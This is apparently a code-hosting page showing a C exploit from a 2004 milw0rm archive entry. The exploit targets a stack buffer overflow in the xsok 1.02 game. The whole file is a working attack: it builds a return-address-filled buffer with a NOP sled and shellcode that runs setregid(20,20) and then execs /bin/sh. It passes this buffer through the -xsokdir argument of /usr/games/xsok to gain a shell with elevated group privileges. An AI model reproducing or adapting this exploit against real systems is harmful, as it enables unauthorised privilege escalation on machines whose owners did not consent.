49 lines
1 KiB
C
Executable file
49 lines
1 KiB
C
Executable file
/* 0x333xsok (2) => xsok 1.02 local game exploit
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*
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* Happy new year ! (2 :)
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* coded by c0wboy
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*
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* (c) 0x333 Outsiders Security Labs / www.0x333.org
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*
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*/
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#include <stdio.h>
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#include <unistd.h>
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#define BIN "/usr/games/xsok"
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#define RETADD 0xbffffa3c
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#define SIZE 200
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unsigned char shellcode[] =
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/* setregid (20,20) shellcode */
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"\x31\xc0\x31\xdb\x31\xc9\xb3\x14\xb1\x14\xb0\x47"
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"\xcd\x80"
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/* exec /bin/sh shellcode */
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"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
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"\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";
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int main (int argc, char ** argv)
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{
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int i, ret = RETADD;
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char out[SIZE];
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fprintf(stdout, "\n --- 0x333xsok => xsok 1.02 local games exploit ---\n");
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fprintf(stdout, " --- Outsiders Se(c)urity Labs 2003 ---\n\n");
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int *xsok = (int *)(out);
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for (i=0; i<SIZE-1 ; i+=4, *xsok++ = ret);
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memset((char *)out, 0x90, 63);
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memcpy((char *)out+63, shellcode, strlen(shellcode));
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execl (BIN, BIN, "-xsokdir", out, 0x0);
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}
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// milw0rm.com [2004-01-02]
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